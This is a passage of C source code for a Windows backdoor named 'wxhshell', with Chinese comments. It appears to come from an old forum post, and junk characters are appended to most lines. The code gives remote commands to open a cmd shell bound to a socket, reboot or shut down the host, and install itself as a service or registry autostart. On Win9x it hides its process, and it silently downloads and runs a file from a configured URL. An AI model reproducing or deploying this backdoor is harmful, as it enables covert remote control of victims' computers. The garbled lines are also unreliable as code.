    switch(cmd[0]) { A<"< DDy  
  GBWL0'COV  
  // 帮助 UV0[S8A  
  case '?': { ,|}mo+rb-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V=% ;5/  
    break; 9jX_Eoxy  
  } YYPJ (o\  
  // 安装 b GI){0A  
  case 'i': { kP^A~ZO.  
    if(Install()) %+Y wzL{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?@;)2B|q  
    else s,8zj<dUv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >`SeX:  
    break; q<! -Anc  
    } ^G(Ee+PN@  
  // 卸载 OXbShA&1  
  case 'r': { 'P" i9j  
    if(Uninstall()) 9=3DYCk/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &e;Qabwxva  
    else c-}[v<o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % @+j@i`&  
    break; QIevps*  
    } 1JfZstT  
  // 显示 wxhshell 所在路径 0Ci/-3HV!  
  case 'p': { {>9ED.t  
    char svExeFile[MAX_PATH]; *B}O  
    strcpy(svExeFile,"\n\r"); 3 V>$H\H  
      strcat(svExeFile,ExeFile); H,5]w\R6\  
        send(wsh,svExeFile,strlen(svExeFile),0); kltW  
    break; *o4a<.hd2  
    } ' h<(  
  // 重启 fByf~iv,  
  case 'b': { EY<"B2_%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m 8b,_1  
    if(Boot(REBOOT)) !khEep}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s</qT6@  
    else { 6 h,!;`8O  
    closesocket(wsh); 3NDddrL9  
    ExitThread(0); Z+J4 q9^$  
    } `&7tADFB  
    break; -f mJkI  
    } 7>BfHb  
  // 关机 w4Df?)Z  
  case 'd': { DyiJ4m}kh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9J?s:"j  
    if(Boot(SHUTDOWN)) -~lq <M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xk% 62W  
    else { 25-h5$s  
    closesocket(wsh); megTp  
    ExitThread(0); AH5;6Q  
    } htR.p7&Tn  
    break; p/VVb%  
    } u;-fG9xs  
  // 获取shell xlu4  
  case 's': { n+hL/aQ+  
    CmdShell(wsh); \|HNFxT`  
    closesocket(wsh); .6azUD4  
    ExitThread(0); S7Ty}?E@  
    break; Ec3tfcNhR  
  } 7#%Pry  
  // 退出 LlO8]b!P-^  
  case 'x': { =urGs`\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4}v|^_x-i  
    CloseIt(wsh); ;-kDJ i  
    break; BR@m*JGajz  
    } URrx7F98  
  // 离开 qx[c0X!  
  case 'q': { ektU,Oo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )3:0TFS}}k  
    closesocket(wsh); >>$`]]7  
    WSACleanup(); 3dj|jw5  
    exit(1); v /c]=/  
    break; 3U+FXK#6  
        } E KV[cq  
  } tOLcnWt   
  } ~vt9?(h  
:vG0 l\  
  // 提示信息 % J^x `P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p\ ;|Z+0=  
} M\5|  
  } qE8aX*A1/  
aW&)3C2-x  
  return; II}M|qHaK  
} iP"sw0V8  
+|,4g_(j  
// shell模块句柄 I"vkfi#=  
int CmdShell(SOCKET sock) X]D,kKasG  
{ DI{*E  
STARTUPINFO si; 9"]#.A^Q*  
ZeroMemory(&si,sizeof(si)); ucx02^uA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }}QR'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3>@VPMi  
PROCESS_INFORMATION ProcessInfo; }\?9Prsd  
char cmdline[]="cmd"; -;L'Jb>s76  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); , i5_4  
  return 0; ?}4,s7PR  
} ebQgk Y=  
:1>?:3,`  
// 自身启动模式 @ gWd  
int StartFromService(void) 7<] EH:9  
{ p|ink):  
typedef struct Pa{  
{ f(Of+>   
  DWORD ExitStatus; z m$Sw0#(  
  DWORD PebBaseAddress; Wq1 jTIQ  
  DWORD AffinityMask; R/ZScOW[  
  DWORD BasePriority; 2]]v|Z2M4  
  ULONG UniqueProcessId; P$#:$U @  
  ULONG InheritedFromUniqueProcessId; 6D`n^uoP  
}   PROCESS_BASIC_INFORMATION; nOL"6%q  
=,#--1R7g  
PROCNTQSIP NtQueryInformationProcess; r_#dh  
\}?X5X>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Oti*"dV\::  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sE6>JaH  
*c94'Tcl  
  HANDLE             hProcess; ujX; wGje  
  PROCESS_BASIC_INFORMATION pbi; V^5d5Ao  
Km8aHc]O~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D![v{0er  
  if(NULL == hInst ) return 0; :]m.&r S,  
+ '_t)k^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LnI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rQVX^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {}$7Bp  
EyE#x_A  
  if (!NtQueryInformationProcess) return 0; Z_\p8@3aH  
MVsFi]-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); akzGJ3g  
  if(!hProcess) return 0; F+V!p4G  
L>h8>JvQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nTEN&8Y>R  
Gs,:$Im  
  CloseHandle(hProcess); -V|"T+U  
%'=*utOxy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zXn-E  
if(hProcess==NULL) return 0; PC#^L$cg}  
#_wq#rF  
HMODULE hMod; $s/E } X  
char procName[255]; >5t%_/yeB  
unsigned long cbNeeded; 64zOEjra  
5*pzL0,Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AAevN3a#nI  
vt|R)[,  
  CloseHandle(hProcess); `x9Eo4(/  
pa[/6(  
if(strstr(procName,"services")) return 1; // 以服务启动 27e!KG[&  
_{Kmj,q  
  return 0; // 注册表启动 Cku"vVw,  
} bP&QFc  
ixd sz\<  
// 主模块 0D s3wNz  
int StartWxhshell(LPSTR lpCmdLine) 20;9XJmjl  
{ :CyHo6o9  
  SOCKET wsl; J,2V&WuV0r  
BOOL val=TRUE; D0r viO  
  int port=0; 147QB+cE  
  struct sockaddr_in door; R-13DVK  
f<Hi=Qpm  
  if(wscfg.ws_autoins) Install(); li r=0oq<  
T }}2J/sj  
port=atoi(lpCmdLine); '+PKGmRW  
`<C<[JP:o  
if(port<=0) port=wscfg.ws_port; 9{toPED  
<-umeY"n>  
  WSADATA data; Wh)D_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d#g))f;  
w7V\_^&Id  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7Q}pKq]P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M3pE$KT0x  
  door.sin_family = AF_INET; pjWRd_h.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yq+ 1kA  
  door.sin_port = htons(port); kJWg},-\  
7>JTQ CJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d~LoHp  
closesocket(wsl); Xu]~vik  
return 1; 2?JV "O=  
} Lgg,K//g  
;A*SuFbV  
  if(listen(wsl,2) == INVALID_SOCKET) { 'a ['lF  
closesocket(wsl); 5?kfE  
return 1; ?h= n5}Y  
} v`HE R6  
  Wxhshell(wsl); 1@F-t94I  
  WSACleanup(); ju"z  
uzy5rA==  
return 0; 9P?0D  
#Iw(+%D  
} $ Habhw  
lB,1dw2(T  
// 以NT服务方式启动 w&p+mJL.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3 jZMXEG)  
{ CL=%eSsuD  
DWORD   status = 0; C0wtMD:G  
  DWORD   specificError = 0xfffffff; ~]?:v,UIm(  
#S}orWj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VI0wul~M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v ,8;: sD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~||0lj.D  
  serviceStatus.dwWin32ExitCode     = 0; 6hxZ5&;(*  
  serviceStatus.dwServiceSpecificExitCode = 0; a+w2cN'  
  serviceStatus.dwCheckPoint       = 0; QNj]wm=mp  
  serviceStatus.dwWaitHint       = 0; Re$h6sh  
G;Li!H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nd~B$venh  
  if (hServiceStatusHandle==0) return; s2; ~FK#/  
1 /. BP  
status = GetLastError(); A~?M`L>B  
  if (status!=NO_ERROR) ,i2-  
{ i\i%Wi Rl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o*cu-j3  
    serviceStatus.dwCheckPoint       = 0; cq1 5@a mX  
    serviceStatus.dwWaitHint       = 0; T ozx0??)  
    serviceStatus.dwWin32ExitCode     = status; U"PcNQy  
    serviceStatus.dwServiceSpecificExitCode = specificError; QJ|@Y(KV0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ipp_}tl_  
    return; R'>!1\?Iq  
  } ON :t"z5  
Bn}woyJdx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IPQRdBQ  
  serviceStatus.dwCheckPoint       = 0; a>wCBkD  
  serviceStatus.dwWaitHint       = 0; Ep7MU&O0iK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6d-\+ t8  
} 4&iQo'  
sy: xA w  
// 处理NT服务事件,比如:启动、停止 4Yj1Etq.E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .ZTvOm'mB^  
{ Ez3fL&*  
switch(fdwControl) z$~x 2<  
{ F9K%f&0 a  
case SERVICE_CONTROL_STOP: xye-Z\-t  
  serviceStatus.dwWin32ExitCode = 0; g6GkA.!X$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '!HTE` Aj  
  serviceStatus.dwCheckPoint   = 0; "-~ 7lY%  
  serviceStatus.dwWaitHint     = 0; kwI``7g8*e  
  {  F B]Y~;(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y|>dS8f;4  
  } VoU8I ~  
  return; U0x A~5B  
case SERVICE_CONTROL_PAUSE: YvR bM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r/YJ,2!  
  break; ij" ~]I  
case SERVICE_CONTROL_CONTINUE: acd[rjeT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A;oHji#*  
  break; ci0A!wWD  
case SERVICE_CONTROL_INTERROGATE: ['d9sEv.  
  break; |Y9>kXMl  
}; i'IT,jz !  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); slQn  
} c_J9CKqc  
FuhmLm'p  
// 标准应用程序主函数 0=Z[6Q@:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YF%gs{  
{ >!963>DR  
n;g'?z=hy  
// 获取操作系统版本 5ZCu6 A  
OsIsNt=GetOsVer(); *dl hRa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fr9/TI  
w,UE0i9I  
  // 从命令行安装 J4Gzp~{  
  if(strpbrk(lpCmdLine,"iI")) Install(); *uvM6F$ut  
PL/g| ;  
  // 下载执行文件 bi<<z-q`wJ  
if(wscfg.ws_downexe) { M\ATT%b:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {,>G 1>Yv  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6u[fCGi%  
} 3I6ocj [,  
}vndt*F   
if(!OsIsNt) { (b&g4$!x&5  
// 如果时win9x,隐藏进程并且设置为注册表启动 <b 5DX  
HideProc(); Aoe\\'O|V  
StartWxhshell(lpCmdLine); 8Fn\ycX#"l  
}  :eN&wQ5q  
else tsXKhS;/w  
  if(StartFromService()) + G@N  
  // 以服务方式启动 tl#sCf!c  
  StartServiceCtrlDispatcher(DispatchTable); Vk2$b{VdF  
else wKJG 31I^  
  // 普通方式启动 I^NDJdxd  
  StartWxhshell(lpCmdLine); !T 6R[  
Oa|c ?|+  
return 0; 9*q wXU_aV  
}
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只看该作者 1 发表于: 2006-10-10
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